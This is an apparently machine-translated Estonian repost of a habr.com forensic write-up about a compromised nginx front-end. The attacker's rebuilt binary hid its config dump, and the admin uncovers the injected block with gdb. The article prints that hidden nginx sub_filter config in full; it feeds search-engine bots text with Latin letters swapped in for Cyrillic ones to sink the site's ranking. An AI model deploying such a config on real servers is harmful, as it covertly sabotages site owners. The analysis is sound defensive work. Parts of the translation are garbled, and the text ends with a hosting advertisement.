Kuidas 'a' ei võrdu 'a'. Ühe häkkimise tagajärjel

Üks mu tuttav sattus kõige ebameeldivamasse olukorda. Kuid nii ebameeldiv see Michaelile kui ka huvitav mulle.

Pean ütlema, et mu sõber on täiesti UNIX-kasutaja: võib ise süsteemi paigaldada, seadistada mysql, php ja teha lihtsaid seadeid. nginx.
Tal on umbes kümme kuni kaksteist saiti, mis käsitlevad ehitusriistu.

Üks selline sait, mis on pühendatud mootorsaagidele, istub kindlalt otsingumootorite TOP-is. See sait on mittekommertslik ülevaade, kuid kellelegi see ei meeldi ja nad on hakanud seda ründama. Siis DDoS, siis bruteforce, siis kirjutavad nad sobimatuid kommentaare ja saadavad kaebusi hostimisele ja RKN-ile.
Ootamatult kõik vaibus ja see vaikus osutus halvaks, ja sait hakkas järk-järgult lahkuma tipptulemuste hulgast.

Kui 'a' ei ole 'а'. Ühe häkkimise jälgedes

See oli sissejuhatus, edasi tuleb adminni jutt.

Aeg oli uinumise lähedal, kui telefon helises: "San, kas sa ei saaks minu serverit vaadata? Mul on tunne, et mind on häkitud, tõestada ei saa, kuid tunne ei lahku juba kolmandat nädalat. Võib-olla peaks lihtsalt paranema hakkama?"

Järgnes poolteise tunni arutelu, mille lühidalt võib kokku võtta nii:

  • ründamiseks oli pinnas küllalt viljakas;
  • ründaja võis saada superkasutaja õigused;
  • rünnak (kui see tõesti toimus) oli suunatud just sellele saidile;
  • probleemsed kohad on parandatud ja tuleb ainult aru saada, kas tungimine oli küllaltki tõeline;
  • rikkumine ei saanud puudutada saidi koodi ja andmebaase.

Viimase punkti osas.

Kui 'a' ei ole 'а'. Ühe häkkimise jälgedes

Maailmast vaatab välja ainult valge IP front-end. Back-endide ja front-endide vahel ei ole mingit vahetust peale http(s), kasutajad/paroolid on erinevad, võtmeid ei vahetatud. Hallidel aadressidel on kõik pordid, välja arvatud 80/443, suletud. Beibendide valged IP-d on teada ainult kahe kasutaja jaoks, kellele Michael täielikult usaldab.

Front-endil on paigaldatud Debian 9 ja telefonikõne ajal on süsteem välise firewallega maailmast isoleeritud ja peatatud.

"Ok, anna ligipääsud, - otsustan une tunni võrra edasi lükata. - Vaatan oma silmaga."

Siin ja edaspidi:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Võimaliku rünnaku otsingul

Käitan serverit, alguses rescue-mode. Montaazhan kettad, sirvin auth-logis, konsolis, saate nimekirja käskudest, mis on varem teie kontoga täidetud., süsteemilogid jne, proovin võimalusel kontrollida failide loomise kuupäevi, kuigi ma mõistan, et normaalne häkker oleks "puhastanud" oma jäljed ning Misha on juba korralikult "jalajälgi jätnud", samal ajal kui ta ise otsis.

Alustan normaalses režiimis, arvestades, et ma ei tea, mida otsida, uurin seadistusi. Esiteks huvitab mind nginx kuna frontend'is pole seal peale tema midagi muud.
Seadistused on väikesed, hästi struktureeritud kümnes failis, vaatan neid lihtsalt cat’ühe kaupa. Tundub, et kõik on puhas, kuid ega ma ei tea, kas ma olen midagi include, teen täieliku loendi:

$ nginx -T
nginx: konfiguratsioonifaili /usr/local/etc/nginx/nginx.conf süntaks on korras
nginx: konfiguratsioonifaili /usr/local/etc/nginx/nginx.conf test on edukas

Ei saanud aru: "Kus on loend?"

$ nginx -V
nginx versioon: nginx/1.10.3
TLS SNI tugi on sisse lülitatud
seadmise argumentide kogum: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Loendiga seondub teine küsimus: "Miks on nii vana nginx versioon?"

Pealegi arvab süsteem, et versioon on uuem:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          väike, võimas, skaleeritav veebi/proksi server

Helistan:
— Misha, miks sa selle uuesti ehitasid nginx?
— Rahune maha, ma ei tea isegi, kuidas seda teha!
— Ok, no maga…

Nginx kindlasti on see uuesti ehitatud ja "-T" väljundi varjamine ei ole juhuslik. Kahtlust pole juba krakendatud ja selle võib lihtsalt aktsepteerida ning (kuna Misha asendas serveri nagunii uuega) võib probleemi lahendatuks lugeda.

Ja tõesti, kuna keegi on saanud õigused root'le, siis on mõistlik teha ainult system reinstall, ja otsida, mida seal on valesti tehtud, oleks kasutu, aga seekord võitis uudishimu une. Kuidas teada saada, mida meilt peidetud on?

Proovime jälgida:

$ strace nginx -T

Vaadates, puuduvad jälgimises ilmselgelt read nagu

write(1, "/etc/nginx/nginx.conf", 21/etcf/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Huvi pärast võrreldes väljundeid

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Mõtlen, et osa koodist /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

oli viidatud kujule:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                \/\/ngx_dump_config = 1;
                break;

või

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

seega loetelu "-T" ei kuvata.

Aga kuidas vaadata meie konfi?

Kui mu mõte on õige ja probleem on ainult muutujas ngx_dump_config proovime seda seadistada gdb, õnneks on valik --with-cc-opt -g olemas ja loodame, et optimeerimine -O2 ei tee meile paha. Samas, kuna ma ei tea, kuidas ngx_dump_config seda võiks töödelda case ‘T’:, ei kutsu me seda plokki, vaid seadistame selle kasutades case ‘t’:

Miks on võimalik kasutada ‘-t’ koos ‘-T’Ploki töötlemine if(ngx_dump_config) toimub sees if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "konfiguratsioonifail %s test on edukas",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i config_dump.nelts; i++) {

                ngx_write_stdout("# konfiguratsioonifail ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Loomulikult, kui kood on muudetud selle osa peale, mitte case ‘T’:, siis ei sobi minu meetod.

Test ngnix.confProbleemi lahendamisel leiti, et pahavara tööks on vajalik minimaalne konfi nginx kuju:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Seda me lühidalt artiklis kasutame.

Käivitame siluri

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Sammud:

  • seame jälgimise punkt funktsioonis main()
  • käivitame programmi
  • muudame muutuja väärtust, mis määrab konfiguratsiooni väljundi ngx_dump_config=1
  • jätkame/lõpetame programmi

Nagu näeme, erineb tegelik konfigureerimine meie omast, eraldame sellest parasiitliku osa:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Vaatame järjestikku, mis siis toimub.

Määratletakse User-Agentyandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

välja arvatakse teeninduslehed WordPress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Ja nende jaoks, kes langevad kokku mõlema ülaltoodud tingimusega

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

tekstis html-leht muudetakse о . Tundub, et o ja а . Tundub, et a:

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Tõepoolest, peenemus seisneb vaid selles, et ‘а’ != ‘a’ samuti nagu ‘о’ != ‘o’:

Kui 'a' ei ole 'а'. Ühe häkkimise jälgedes

Nii saavad otsingumootorite robotid normaalse 100%-lise kirillitsateksti asemel muudetud rämpsu, mille hulka on segatud ladina tähed. a ja o. Ma ei taha õigustada, kuidas see SEO-le mõjub, kuid selline tähepruuk ei too tõenäoliselt positiivset mõju positsioonidele otsingutulemustes.

Mida öelda, poisid, kellel on kujutlusvõimet.

Viidatud lingid

Viga GDB abil
gdb(1) — Linuxi käsiraamat
strace(1) — Linuxi käsiraamat
Nginx — moodul ngx_http_sub_module
Saagide, bensiinisaagide ja elektrisaagide kohta

Allikas: habr.com

Osta usaldusväärne veebimajutus DDoS-kaitsega veebisaitidele, VPS VDS serverid 🔥 Osta usaldusväärne veebimajutus DDoS-kaitsega veebisaitidele, VPS VDS serverid - ProHoster